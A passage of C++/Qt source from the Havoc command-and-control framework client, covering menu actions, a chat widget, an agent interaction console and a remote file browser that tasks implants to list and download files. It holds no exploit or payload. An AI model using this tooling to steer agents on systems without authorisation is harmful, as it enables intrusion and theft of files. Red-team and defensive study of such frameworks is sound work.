HavocX::Teamserver.Name; } NewBottomTab( Teamserver->ListenerTableWidget->ListenerWidget, "Listeners" ); } ); QMainWindow::connect( actionTeamserver, &QAction::triggered, this, [&](){ if ( HavocX::Teamserver.TabSession->Teamserver == nullptr ) { HavocX::Teamserver.TabSession->Teamserver = new Teamserver; HavocX::Teamserver.TabSession->Teamserver->setupUi( new QDialog ); } NewBottomTab( HavocX::Teamserver.TabSession->Teamserver->TeamserverWidget, "Teamserver" ); } ); QMainWindow::connect( actionStore, &QAction::triggered, this, [&](){ if ( HavocX::Teamserver.TabSession->Store == nullptr ) { HavocX::Teamserver.TabSession->Store = new Store; HavocX::Teamserver.TabSession->Store->setupUi( new QDialog ); } NewBottomTab( HavocX::Teamserver.TabSession->Store->StoreWidget, "Extentions" ); } ); QMainWindow::connect( actionSessionsGraph, &QAction::triggered, this, [&]() { HavocX::Teamserver.TabSession->MainViewWidget->setCurrentIndex( 1 ); } ); QMainWindow::connect( actionLogs, &QAction::triggered, this, [&]() { auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->SmallAppWidgets->EventViewer == nullptr ) { Teamserver->SmallAppWidgets->EventViewer = new SmallWidgets::EventViewer; Teamserver->SmallAppWidgets->EventViewer->setupUi( new QWidget ); } NewSmallTab( Teamserver->SmallAppWidgets->EventViewer->EventViewer, "Event Viewer" ); } ); QMainWindow::connect( actionLoot, &QAction::triggered, this, [&]() { if ( HavocX::Teamserver.TabSession->LootWidget == nullptr ) { HavocX::Teamserver.TabSession->LootWidget = new LootWidget; } NewBottomTab( HavocX::Teamserver.TabSession->LootWidget, "Loot Collection" ); } ); QMainWindow::connect( actionGeneratePayload, &QAction::triggered, this, []() { if ( HavocX::Teamserver.TabSession->PayloadDialog == nullptr ) { HavocX::Teamserver.TabSession->PayloadDialog = new Payload; HavocX::Teamserver.TabSession->PayloadDialog->setupUi( new QDialog ); HavocX::Teamserver.TabSession->PayloadDialog->TeamserverName = HavocX::Teamserver.Name; } HavocX::Teamserver.TabSession->PayloadDialog->Start(); } ); QMainWindow::connect( actionPythonConsole, &QAction::triggered, this, [&]() { auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->PythonScriptWidget == nullptr ) { Teamserver->PythonScriptWidget = new Widgets::PythonScriptInterpreter; Teamserver->PythonScriptWidget->setupUi( new QWidget ); } NewBottomTab( Teamserver->PythonScriptWidget->PythonScriptInterpreterWidget, "Scripting Console" ); } ); QMainWindow::connect( actionLoad_Script, &QAction::triggered, this, [&]() { auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->PythonScriptWidget == nullptr ) { Teamserver->PythonScriptWidget = new Widgets::PythonScriptInterpreter; Teamserver->PythonScriptWidget->setupUi( new QWidget ); } if ( Teamserver->ScriptManagerWidget == nullptr ) { Teamserver->ScriptManagerWidget = new Widgets::ScriptManager; Teamserver->ScriptManagerWidget->SetupUi( new QWidget ); } NewBottomTab( Teamserver->ScriptManagerWidget->ScriptManagerWidget, "Script Manager" ); } ); QMainWindow::connect( actionAbout, &QAction::triggered, this, [&]() { if ( AboutDialog == nullptr ) { AboutDialog = new About( new QDialog(HavocX::HavocUserInterface->HavocWindow) ); AboutDialog->setupUi(); } this->AboutDialog->AboutDialog->exec(); } ); QMainWindow::connect( actionGithub_Repository, &QAction::triggered, this, []() { QDesktopServices::openUrl( QUrl( "https://github.com/HavocFramework/Havoc" ) ); } ); QMainWindow::connect( actionOpen_Help_Documentation, &QAction::triggered, this, []() { QDesktopServices::openUrl( QUrl( "https://havocframework.com/docs/welcome" ) ); } ); } void HavocNamespace::UserInterface::HavocUi::NewBottomTab(QWidget* TabWidget, const std::string& TitleName, const QString IconPath ) const { HavocX::Teamserver.TabSession->NewBottomTab( TabWidget, TitleName ); } void HavocNamespace::UserInterface::HavocUi::setDBManager(HavocSpace::DBManager* dbManager) { this->dbManager = dbManager; } void UserInterface::HavocUi::NewTeamserverTab(HavocNamespace::Util::ConnectionInfo* Connection ) { Connection->TabSession = new UserInterface::Widgets::TeamserverTabSession; Connection->TabSession->setupUi( new QWidget, Connection->Name ); int id = TeamserverTabWidget->addTab( Connection->TabSession->PageWidget, Connection->Name ); TeamserverTabWidget->setCurrentIndex( id ); HavocX::Teamserver = *Connection; } void UserInterface::HavocUi::NewTeamserverTab(QString Name ) { HavocX::Teamserver.TabSession = new UserInterface::Widgets::TeamserverTabSession; HavocX::Teamserver.TabSession->setupUi( new QWidget, HavocX::Teamserver.Name ); int id = TeamserverTabWidget->addTab( HavocX::Teamserver.TabSession->PageWidget, HavocX::Teamserver.Name ); TeamserverTabWidget->setCurrentIndex( id ); } void UserInterface::HavocUi::NewSmallTab(QWidget *TabWidget, const string &TitleName ) const { auto Teamserver = HavocX::Teamserver.TabSession; Teamserver->NewWidgetTab( TabWidget, TitleName ); } void UserInterface::HavocUi::PythonPrepare() { PyImport_AppendInittab( "emb", emb::PyInit_emb ); PyImport_AppendInittab( "havocui", PythonAPI::HavocUI::PyInit_HavocUI ); PyImport_AppendInittab( "havoc", PythonAPI::Havoc::PyInit_Havoc ); Py_Initialize(); PyImport_ImportModule( "emb" ); for ( auto& ScriptPath : dbManager->GetScripts() ) { Widgets::ScriptManager::AddScript( ScriptPath ); } } ================================================ FILE: client/src/UserInterface/SmallWidgets/EventViewer.cc ================================================ #include #include void HavocNamespace::UserInterface::SmallWidgets::EventViewer::setupUi(QWidget *Widget) { this->EventViewer = Widget; if (Widget->objectName().isEmpty()) Widget->setObjectName(QString::fromUtf8("EventViewerWidget")); gridLayout = new QGridLayout(Widget); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); gridLayout->setContentsMargins(4, 4, 4, 4); EventViewerConsole = new QTextEdit(Widget); EventViewerConsole->setObjectName(QString::fromUtf8("EventViewer")); EventViewerConsole->setReadOnly(true); gridLayout->addWidget(EventViewerConsole, 0, 0, 1, 1); QMetaObject::connectSlotsByName(Widget); } void HavocNamespace::UserInterface::SmallWidgets::EventViewer::AppendText(const QString& Time, const QString& text) const { QString t = Util::ColorText::Comment(Time) + " " + text; EventViewerConsole->append(t); } ================================================ FILE: client/src/UserInterface/Widgets/Chat.cc ================================================ #include #include #include #include #include #include #include #include void HavocNamespace::UserInterface::Widgets::Chat::setupUi( QWidget *Form ) { ChatWidget = Form; if ( Form->objectName().isEmpty() ) { Form->setObjectName(QString::fromUtf8("Form")); } Form->resize( 932, 536 ); gridLayout = new QGridLayout(Form); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); gridLayout->setVerticalSpacing(4); gridLayout->setContentsMargins(1, 4, 1, 4); lineEdit = new QLineEdit(Form); lineEdit->setObjectName(QString::fromUtf8("lineEdit")); gridLayout->addWidget(lineEdit, 2, 1, 1, 1); auto label = new QLabel(Form); label->setObjectName(QString::fromUtf8("label")); gridLayout->addWidget(label, 2, 0, 1, 1); EventLogText = new QTextEdit(Form); EventLogText->setObjectName(QString::fromUtf8("EventLogText")); EventLogText->setReadOnly(true); EventLogText->setLineWrapMode(QTextEdit::LineWrapMode::NoWrap); gridLayout->addWidget(EventLogText, 0, 0, 1, 2); Form->setWindowTitle(QCoreApplication::translate("Form", "Form", nullptr)); lineEdit->setText(QString()); label->setStyleSheet("padding-bottom: 3px; padding-left: 5px;"); lineEdit->setStyleSheet( "background-color: "+Util::ColorText::Colors::Hex::Background+";" + "color: "+Util::ColorText::Colors::Hex::Foreground+";" ); EventLogText->setStyleSheet( "background-color: "+Util::ColorText::Colors::Hex::Background+";" + "color: "+Util::ColorText::Colors::Hex::Foreground+";" ); label->setText( HavocX::Teamserver.User ); connect( lineEdit, &QLineEdit::returnPressed, this, &Chat::AppendFromInput ); QMetaObject::connectSlotsByName(Form); } void HavocNamespace::UserInterface::Widgets::Chat::AppendText(const QString& Time, const QString& text) const { QString t = Util::ColorText::Comment(Time) +" "+ text; EventLogText->append( t ); } void HavocNamespace::UserInterface::Widgets::Chat::AddUserMessage(const QString Time, QString User, QString text) const { if ( HavocX::Teamserver.User.compare( User ) == 0 ) this->AppendText( Time, "[" + Util::ColorText::UnderlineGreen( User ) + "]" + Util::ColorText::Bold(" :: ") + text ); else this->AppendText( Time, "[" + Util::ColorText::Underline( User ) + "]" + Util::ColorText::Bold(" :: ") + text ); } void HavocNamespace::UserInterface::Widgets::Chat::AppendFromInput() { auto text = this->lineEdit->text(); if ( ! text.isEmpty() ) { Util::Packager::Package Package; Util::Packager::Head_t Head; Util::Packager::Body_t Body; auto User = HavocX::Teamserver.User.toStdString(); Head.Event = Util::Packager::Chat::Type; Head.Time = QTime::currentTime().toString("hh:mm:ss").toStdString(); Head.User = User; Body.SubEvent = Util::Packager::Chat::NewMessage; Body.Info[ User ] = text.toHtmlEscaped().toUtf8().toBase64().toStdString(); Package.Head = Head; Package.Body = Body; HavocX::Connector->SendPackage( &Package ); } this->lineEdit->clear(); } ================================================ FILE: client/src/UserInterface/Widgets/DemonInteracted.cc ================================================ #include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::UserInterface::Widgets; using namespace HavocNamespace::Util; DemonInteracted::DemonInput::DemonInput( QWidget* parent ) : QLineEdit( parent ) { CommandHistoryIndex = 0; } bool DemonInteracted::DemonInput::handleKeyPress( QKeyEvent* eventKey ) { switch (eventKey->key()) { case Qt::Key_Tab: handleTabKey(); return true; case Qt::Key_Up: handleUpKey(); return true; case Qt::Key_Down: handleDownKey(); return true; default: return false; } } void DemonInteracted::DemonInput::handleTabKey() { auto CompletedString = completer()->currentCompletion(); if ( ! CompletedString.isEmpty() ) { setText( CompletedString ); } } void DemonInteracted::DemonInput::handleUpKey() { if ( CommandHistoryIndex == 0 ) { setText( "" ); return; } CommandHistoryIndex--; if ( CommandHistoryIndex >= 1 ) { setText( CommandHistory.at( CommandHistoryIndex ) ); } else { if ( ! CommandHistory.empty() ) { setText( CommandHistory.at( CommandHistoryIndex ) ); } else { setText( "" ); } } } void DemonInteracted::DemonInput::handleDownKey() { if (CommandHistoryIndex < CommandHistory.size()) { CommandHistoryIndex++; setText(CommandHistory.at(CommandHistoryIndex - 1)); } else setText(""); } bool DemonInteracted::DemonInput::event( QEvent* e ) { if ( e->type() == e->KeyPress ) { auto eventKey = dynamic_cast( e ); if ( handleKeyPress( eventKey ) ) { return true; } } return QLineEdit::event( e ); } void DemonInteracted::DemonInput::AddCommand( const QString &Command ) { CommandHistory << Command; } void DemonInteracted::setupUi( QWidget *Form ) { this->DemonInteractedWidget = Form; if ( Form->objectName().isEmpty() ) { Form->setObjectName( QString::fromUtf8( "Form" ) ); } Form->resize( 932, 536 ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); gridLayout->setVerticalSpacing( 4 ); gridLayout->setContentsMargins( 1, 4, 1, 4 ); label = new QLabel( Form ); label->setObjectName( QString::fromUtf8( "label" ) ); gridLayout->addWidget( label, 3, 0, 1, 1 ); lineEdit = new DemonInput( Form ); lineEdit->setObjectName( QString::fromUtf8( "lineEdit" ) ); gridLayout->addWidget( lineEdit, 3, 1, 1, 1 ); Console = new QTextEdit(Form); Console->setObjectName(QString::fromUtf8("Console")); Console->setReadOnly(true); Console->setLineWrapMode( QTextEdit::LineWrapMode::NoWrap ); Console->setStyleSheet( "background-color: "+Util::ColorText::Colors::Hex::Background+";" + "color: "+Util::ColorText::Colors::Hex::Foreground+";" ); gridLayout->addWidget(Console, 0, 0, 1, 2); label_2 = new QLabel(Form); label_2->setObjectName(QString::fromUtf8("label_2")); label_2->setTextInteractionFlags(Qt::TextSelectableByMouse); gridLayout->addWidget(label_2, 2, 0, 1, 2); Form->setWindowTitle(QCoreApplication::translate("Form", "Form", nullptr)); lineEdit->setText(QString()); label->setText(QCoreApplication::translate("Form", ">>>", nullptr)); label->setStyleSheet("padding-bottom: 3px;" "padding-left: 5px;"); if ( SessionInfo.MagicValue == DemonMagicValue ) { for ( auto& i : HavocSpace::DemonCommands::DemonCommandList ) { CompleterCommands << i.CommandString; if ( i.CommandString == "help" ) { for ( auto & j : HavocSpace::DemonCommands::DemonCommandList ) { if ( j.CommandString == "help" ) continue; CompleterCommands << "help " + j.CommandString; if ( ! j.SubCommands.empty() ) { for ( auto &subcommand: j.SubCommands ) CompleterCommands << "help " + j.CommandString + " " + subcommand.CommandString; } } } if ( ! i.SubCommands.empty() ) { for ( auto& subcommand : i.SubCommands ) CompleterCommands << i.CommandString + " " + subcommand.CommandString; } } for ( auto& Command : HavocX::Teamserver.AddedCommands ) { CompleterCommands << "help " + Command; CompleterCommands << Command; } } else { // 3rd party agent... } CommandCompleter = new QCompleter( CompleterCommands, this ); CommandCompleter->setCaseSensitivity( Qt::CaseInsensitive ); CommandCompleter->setCompletionMode( QCompleter::InlineCompletion ); lineEdit->setCompleter( CommandCompleter ); if ( this->SessionInfo.Domain.compare( "" ) == 0 ) { label_2->setText( "[" + this->SessionInfo.User + "/" + this->SessionInfo.Computer + "] " + this->SessionInfo.Process + "/" + this->SessionInfo.PID + " " + this->SessionInfo.Arch ); } else { label_2->setText( "[" + this->SessionInfo.User + "/" + this->SessionInfo.Computer + "] " + this->SessionInfo.Process + "/" + this->SessionInfo.PID + " " + this->SessionInfo.Arch + " ("+ this->SessionInfo.Domain + ")" ); } DemonCommands = new HavocSpace::DemonCommands; DemonCommands->Teamserver = this->TeamserverName; DemonCommands->DemonID = this->SessionInfo.Name; DemonCommands->MagicValue = this->SessionInfo.MagicValue; DemonCommands->SetDemonConsole( this ); connect( lineEdit, &QLineEdit::returnPressed, this, &DemonInteracted::AppendFromInput ); QMetaObject::connectSlotsByName( Form ); } void DemonInteracted::AppendFromInput() { AppendText( this->lineEdit->text() ); } void DemonInteracted::AppendText( const QString& text ) { if ( SessionInfo.MagicValue != DemonMagicValue ) { for ( auto& agent : HavocX::Teamserver.ServiceAgents ) { if ( SessionInfo.MagicValue == agent.MagicValue ) AgentTypeName = agent.Name; } } if ( AgentTypeName.isEmpty() ) { AgentTypeName = "Demon"; } DemonCommands->Prompt = QString( ColorText::Comment( CurrentDateTime() + " [" + HavocX::Teamserver.User + "] " ) + ColorText::UnderlinePink( AgentTypeName ) + ColorText::Cyan(" » ") + text ); if ( ! text.isEmpty() ) { lineEdit->CommandHistory << text; lineEdit->CommandHistoryIndex = lineEdit->CommandHistory.size(); /* check if registered a command called help. if yes then exclude this. */ auto AgentData = ServiceAgent(); auto HelpCommand = false; if ( DemonCommands->MagicValue != DemonMagicValue ) { for ( auto& agent : HavocX::Teamserver.ServiceAgents ) { if ( DemonCommands->MagicValue == agent.MagicValue ) { AgentData = agent; AgentTypeName = agent.Name; } } } for ( auto & command : AgentData.Commands ) { if ( command.Name == "help" ) { HelpCommand = true; break; } } if ( ! HelpCommand ) { if ( text.split( " " )[ 0 ].compare( "help" ) == 0 ) { AppendRaw(); AppendRaw( DemonCommands->Prompt ); } } DemonCommands->DispatchCommand( true, "", text ); Console->verticalScrollBar()->setValue( Console->verticalScrollBar()->maximum() ); } this->lineEdit->clear(); } QString DemonInteracted::TaskInfo( bool Show, QString TaskID, const QString &text ) const { if ( TaskID == nullptr ) { TaskID = Util::gen_random( 8 ).c_str(); } if ( ! Show ) { auto TaskMessage = Util::ColorText::Cyan( "[*]" ) + " "+ Util::ColorText::Comment( "[" + TaskID + "]" ) + " " + Util::ColorText::Cyan( text.toHtmlEscaped() ); this->Console->append( TaskMessage ); } return TaskID; } QString DemonInteracted::TaskError( const QString &text ) const { auto TaskMessage = Util::ColorText::Red( "[!]" ) + " " + text.toHtmlEscaped(); this->Console->append( TaskMessage ); return TaskMessage; } void UserInterface::Widgets::DemonInteracted::AppendRaw(const QString& text) { this->Console->append( text ); } void DemonInteracted::AppendNoNL( const QString &text ) { QTextCursor prev_cursor = this->Console->textCursor(); this->Console->moveCursor( QTextCursor::End ); this->Console->insertHtml( text ); this->Console->setTextCursor( prev_cursor ); } void DemonInteracted::AutoCompleteAdd( QString text ) { /*auto model = ( QStringListModel* ) CommandCompleter->model(); CompleterCommands << text; model->setStringList( CompleterCommands ); CommandCompleter->setModel( model );*/ } void DemonInteracted::AutoCompleteClear() { auto model = ( QStringListModel* ) CommandCompleter->model(); auto list = QStringList(); model->setStringList( list ); CommandCompleter->setModel( model ); } void DemonInteracted::AutoCompleteAddList( QStringList list ) { auto model = ( QStringListModel* ) CommandCompleter->model(); model->setStringList( list ); CommandCompleter->setModel( model ); } ================================================ FILE: client/src/UserInterface/Widgets/FileBrowser.cc ================================================ #include #include #include #include #include #include static auto JoinAtIndex( QStringList list, int index, QString sep ) -> QString { auto string = QString(); for ( int i = 0; i < list.size(); i++ ) { if ( i == index ) break; string = string + list[ i ] + sep; } return string; } auto PathGetParent( QString MainPath ) -> QString { auto Path = MainPath.toStdString(); auto Indx = 0; for ( Indx = Path.size() ;; Indx-- ) if ( Path[ Indx ] == '\\' ) break; Path = Path.substr( 0, Indx ); spdlog::info( "Path: {}", Path ); return QString( Path.c_str() ); } void FileBrowser::setupUi( QWidget* FileBrowser ) { FileBrowserWidget = FileBrowser; auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); if ( FileBrowser->objectName().isEmpty() ) FileBrowser->setObjectName( QString::fromUtf8( "FileBrowser" ) ); gridLayout = new QGridLayout( FileBrowser ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); splitter = new QSplitter( FileBrowser ); splitter->setObjectName( QString::fromUtf8( "splitter" ) ); splitter->setOrientation( Qt::Horizontal ); FileBrowserTree = new QTreeWidget( splitter ); FileBrowserTree->setObjectName( QString::fromUtf8( "FileBrowserTree" ) ); FileBrowserListWidget = new QWidget( splitter ); FileBrowserListWidget->setObjectName( QString::fromUtf8( "FileBrowserListWidget" ) ); formLayout = new QFormLayout( FileBrowserListWidget ); formLayout->setObjectName( QString::fromUtf8( "formLayout" ) ); ButtonGoUpDir = new QPushButton( FileBrowserListWidget ); ButtonGoUpDir->setObjectName( QString::fromUtf8( "ButtonGoUpDir" ) ); formLayout->setWidget( 0, QFormLayout::LabelRole, ButtonGoUpDir ); InputFileBrowserPath = new QLineEdit( FileBrowserListWidget ); InputFileBrowserPath->setObjectName( QString::fromUtf8( "InputFileBrowserPath" ) ); formLayout->setWidget( 0, QFormLayout::FieldRole, InputFileBrowserPath ); TableFileBrowser = new QTableWidget( FileBrowserListWidget ); TableFileBrowser->setObjectName( QString::fromUtf8( "TableFileBrowser" ) ); TableFileBrowser->setEnabled( true ); TableFileBrowser->setShowGrid( false ); TableFileBrowser->setSortingEnabled( false ); TableFileBrowser->setWordWrap( true ); TableFileBrowser->setCornerButtonEnabled( true ); TableFileBrowser->horizontalHeader()->setVisible( true ); TableFileBrowser->setSelectionBehavior( QAbstractItemView::SelectRows ); TableFileBrowser->setContextMenuPolicy( Qt::CustomContextMenu ); TableFileBrowser->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); TableFileBrowser->verticalHeader()->setVisible(false); TableFileBrowser->verticalHeader()->setStretchLastSection( false ); TableFileBrowser->verticalHeader()->setDefaultSectionSize( 12 ); TableFileBrowser->setFocusPolicy( Qt::NoFocus ); if ( TableFileBrowser->columnCount() < 3 ) TableFileBrowser->setColumnCount( 3 ); TableFileBrowser->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); TableFileBrowser->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Size" ) ); TableFileBrowser->setHorizontalHeaderItem( 2, new QTableWidgetItem( "Modified" ) ); formLayout->setWidget( 1, QFormLayout::SpanningRole, TableFileBrowser ); splitter->addWidget( FileBrowserTree ); splitter->addWidget( FileBrowserListWidget ); splitter->setSizes( QList() << 1 << 250 ); gridLayout->addWidget( splitter, 0, 0, 1, 1 ); MenuFileBrowserTable = new QMenu( this ); MenuFileBrowserTable->setStyleSheet( MenuStyle ); // MenuFileBrowserTable->addAction( "Remove", this, &FileBrowser::onTableMenuRemove ); MenuFileBrowserTable->addAction( "Download", this, &FileBrowser::onTableMenuDownload ); MenuFileBrowserTable->addAction( "Reload", this, &FileBrowser::onTableMenuReload ); // MenuFileBrowserTable->addAction( "Mkdir", this, &FileBrowser::onTableMenuMkdir ); TableFileBrowser->addAction( MenuFileBrowserTable->menuAction() ); MenuFileBrowserTree = new QMenu( this ); MenuFileBrowserTree->setStyleSheet( MenuStyle ); // MenuFileBrowserTree->addAction( "List Drives", this, &FileBrowser::onTreeMenuListDrives ); // MenuFileBrowserTree->addAction( "Remove", this, &FileBrowser::onTreeMenuRemove ); // MenuFileBrowserTree->addAction( "Reload", this, &FileBrowser::onTreeMenuReload ); // MenuFileBrowserTree->addAction( "Mkdir", this, &FileBrowser::onTreeMenuMkdir ); FileBrowserTree->addAction( MenuFileBrowserTree->menuAction() ); retranslateUi( ); QObject::connect( TableFileBrowser, &QTableWidget::cellDoubleClicked, this, &FileBrowser::onTableDoubleClick ); QObject::connect( TableFileBrowser, &QTableWidget::customContextMenuRequested, this, &FileBrowser::onTableContextMenu ); QObject::connect( FileBrowserTree, &QTreeWidget::customContextMenuRequested, this, &FileBrowser::onTableContextMenu ); QObject::connect( ButtonGoUpDir, &QPushButton::clicked, this, &FileBrowser::onButtonUp ); QObject::connect( InputFileBrowserPath, &QLineEdit::returnPressed, this, &FileBrowser::onInputPath ); QMetaObject::connectSlotsByName( FileBrowser ); } void FileBrowser::retranslateUi() { auto Pix = QPixmap( ":/icons/FileBrowserFolder" ); FileBrowserWidget->setWindowTitle( QCoreApplication::translate("FileBrowser", "FileBrowser", nullptr)); FileBrowserTree->headerItem()->setText( 0, "Files" ); ButtonGoUpDir->setIcon( QIcon( Pix ) ); ButtonGoUpDir->setIconSize( Pix.rect().size() ); } void FileBrowser::AddData( QJsonDocument JsonData ) { auto Path = QString(); auto Files = QJsonDocument(); auto Data = FileDirData(); if ( ! JsonData[ "Path" ].isString() ) { spdlog::error( "[FileBrowser::AddData] Path is not string" ); return; } if ( ! JsonData[ "Files" ].isArray() ) { spdlog::error( "[FileBrowser::AddData] Files is not an array" ); return; } Path = QByteArray::fromBase64( JsonData[ "Path" ].toString().toLocal8Bit() ); Path.replace( "\\*", "" ); for ( int i = 0; i < DirData.size(); i++ ) { if ( Path.compare( DirData[ i ].Path ) == 0 ) { spdlog::info( "Path already exists. remove it" ); DirData.erase( DirData.begin() + i ); } } Files = QJsonDocument( JsonData[ "Files" ].toArray() ); Data = FileDirData { .Path = Path, .Data = Files }; if ( Files.isArray() ) { for ( auto data : Files.array() ) { if ( data.isObject() ) { auto Type = data.toObject()[ "Type" ].toString(); auto Name = data.toObject()[ "Name" ].toString(); auto Size = data.toObject()[ "Size" ].toString(); auto Modified = data.toObject()[ "Modified" ].toString(); auto fileData = FileData{ .Path = Path, .Type = Type, .Name = Name, .Size = Size, .Modified = Modified, }; Data.Files.push_back( fileData ); } else spdlog::error( "Files isn't array" ); } } else spdlog::error( "Files isn't array" ); DirData.push_back( Data ); for ( auto& data : Data.Files ) { TableAddData( data ); // TreeAddData( data ); } TreeUpdate(); Path.replace( "\\*", "" ); InputFileBrowserPath->setText( Path ); } void FileBrowser::TreeAddData( FileData Data ) { spdlog::info( "Append tree" ); } void FileBrowser::TableAddData( FileData Data ) { auto ItemName = new FileBrowserTableItem(); auto ItemSize = new FileBrowserTableItem(); auto ItemModified = new FileBrowserTableItem(); if ( TableFileBrowser->rowCount() < 1 ) TableFileBrowser->setRowCount( 1 ); else TableFileBrowser->setRowCount( TableFileBrowser->rowCount() + 1 ); if ( Data.Type.compare( "dir" ) == 0 ) ItemName->setIcon( QIcon( ":/icons/FileBrowserFolder" ) ); else ItemName->setIcon( QIcon( ":/icons/FileBrowserFile" ) ); ItemName->setText( Data.Name ); ItemName->setFlags( ItemName->flags() ^ Qt::ItemIsEditable ); ItemName->setTextAlignment( Qt::AlignLeft ); ItemSize->setText( Data.Size ); ItemSize->setFlags( ItemSize->flags() ^ Qt::ItemIsEditable ); ItemSize->setTextAlignment( Qt::AlignLeft ); ItemModified->setText( Data.Modified ); ItemModified->setFlags( ItemModified->flags() ^ Qt::ItemIsEditable ); ItemModified->setTextAlignment( Qt::AlignLeft ); ItemName->Data = Data; ItemSize->Data = Data; ItemModified->Data = Data; TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 0, ItemName ); TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 1, ItemSize ); TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 2, ItemModified ); } void FileBrowser::onTableDoubleClick( int row, int column ) { auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( row, column ) ); if ( Item->Data.Type.compare( "dir" ) == 0 ) { QString Path = Item->Data.Path + "\\" + Item->Data.Name; TableClear(); ChangePathAndSendRequest(Path ); return; } } void FileBrowser::onTreeDoubleClick() { } void FileBrowser::ChangePathAndSendRequest( QString Path ) { Path.replace( "\\*", "" ); InputFileBrowserPath->setText( Path ); for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( SessionID ) == 0 ) { Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), "dir;ui", Path ); } } } void FileBrowser::TableClear() { // TODO: free items for ( int i = TableFileBrowser->rowCount() - 1; i >= 0; i-- ) TableFileBrowser->removeRow( i ); } void FileBrowser::onButtonUp() { auto Path = PathGetParent( InputFileBrowserPath->text() ); TableClear(); ChangePathAndSendRequest( Path ); } void FileBrowser::onTableMenuDownload(){ auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( TableFileBrowser->currentRow(), 0 ) ); if ( Item->Data.Type.compare( "dir" ) == 0 ) { auto box = QMessageBox(); box.setWindowTitle( "FileBrowser error" ); box.setText( "Please select the file type correctly" ); box.setIcon( QMessageBox::NoIcon ); box.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); box.exec(); return; }else{ QString Path = Item->Data.Path + "\\" + Item->Data.Name; for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( SessionID ) == 0 ) { QString TaskID = Session.InteractedWidget->TaskInfo(true,Util::gen_random( 8 ).c_str(),"Tasked demon to download a file "+Path); Session.InteractedWidget->DemonCommands->Execute.FS( TaskID, "download", Path.toLocal8Bit().toBase64() ); } } return; } } void FileBrowser::onTableContextMenu( const QPoint &pos ) { if ( ! TableFileBrowser->itemAt( pos ) ) return; MenuFileBrowserTable->popup( TableFileBrowser->horizontalHeader()->viewport()->mapToGlobal( pos ) ); } void FileBrowser::onTreeContextMenu( const QPoint &pos ) { /*if ( ! FileBrowserTree->itemAt( pos ) ) return; MenuFileBrowserTree->popup( TableFileBrowser->horizontalHeader()->viewport()->mapToGlobal( pos ) );*/ } void FileBrowser::onTableMenuMkdir() { } void FileBrowser::onTableMenuReload() { auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( TableFileBrowser->currentRow(), 0 ) ); if(!Item->Data.Path.isEmpty()){ QString Path = Item->Data.Path; Path.replace( "\\*", "" ); InputFileBrowserPath->setText( Path ); for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( SessionID ) == 0 ) { TableClear(); Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), "dir;ui", Path ); } } } } void FileBrowser::onTableMenuRemove() { } void FileBrowser::onTreeMenuListDrives() { } void FileBrowser::onTreeMenuMkdir() { } void FileBrowser::onTreeMenuReload() { } void FileBrowser::onTreeMenuRemove() { } void FileBrowser::onInputPath() { auto Path = InputFileBrowserPath->text(); TableClear(); ChangePathAndSendRequest( Path ); } void FileBrowser::TreeUpdate() { TreeClear( ); for ( auto& Data : DirData ) { auto Split = Data.Path.split( "\\" ); // check if any Dir contains an empty space. if so then remove it. for ( int i = 0; i < Split.size(); i++ ) { if ( Split[ i ].compare( "" ) == 0 ) Split.removeAt( i ); } for ( int i = 0; i < Split.size(); i++ ) { if ( i == 0 ) { TreeAddDisk( Split[ i ] + "\\" ); continue; } auto Parent = JoinAtIndex( Split, i, "\\" ); auto Item = new FileBrowserTreeItem; Item->setText( 0, Split[ i ] ); Item->setIcon( 0, QIcon( ":/icons/FileBrowserFolder" ) ); Item->ParentPath = Parent + Split[ i ] + "\\"; TreeAddChildToParent( Parent, Item ); } for ( auto& subData : Data.Files ) { if ( subData.Type.compare( "dir" ) == 0 ) { auto Path = subData.Path; auto Item = new FileBrowserTreeItem; auto SubPath = subData.Path.replace( "\\\\", "\\" ); if ( ! SubPath.endsWith( '\\' ) ) SubPath = subData.Path + "\\"; auto SubName = subData.Name.replace( "\\\\", "\\" );; if ( ! SubName.endsWith( '\\' ) ) SubName = subData.Name + "\\"; Item->setText( 0, subData.Name ); Item->setIcon( 0, QIcon( ":/icons/FileBrowserFolder" ) ); Item->ParentPath = SubPath + SubName; TreeAddChildToParent( Path, Item ); } } } FileBrowserTree->expandAll(); } void FileBrowser::TreeClear( ) { FileBrowserTree->clear(); } auto FileBrowser::TreeSearchPath( QString ParentPath ) -> FileBrowserTreeItem* { auto Iterator = QTreeWidgetItemIterator( FileBrowserTree ); auto Item = ( ( FileBrowserTreeItem* ) nullptr ); while ( *Iterator ) { Item = ( ( FileBrowserTreeItem* ) ( *Iterator ) ); if ( ( Item->ParentPath.compare( ParentPath ) == 0 ) ) return Item; ++Iterator; } return nullptr; } void FileBrowser::TreeAddDisk( QString Disk ) { if ( ! TreeSearchPath( Disk ) ) { auto DiskItem = new FileBrowserTreeItem; DiskItem->setIcon( 0, QIcon( ":/icons/FileBrowserHardDisk" ) ); DiskItem->setText( 0, Disk ); DiskItem->ParentPath = Disk; 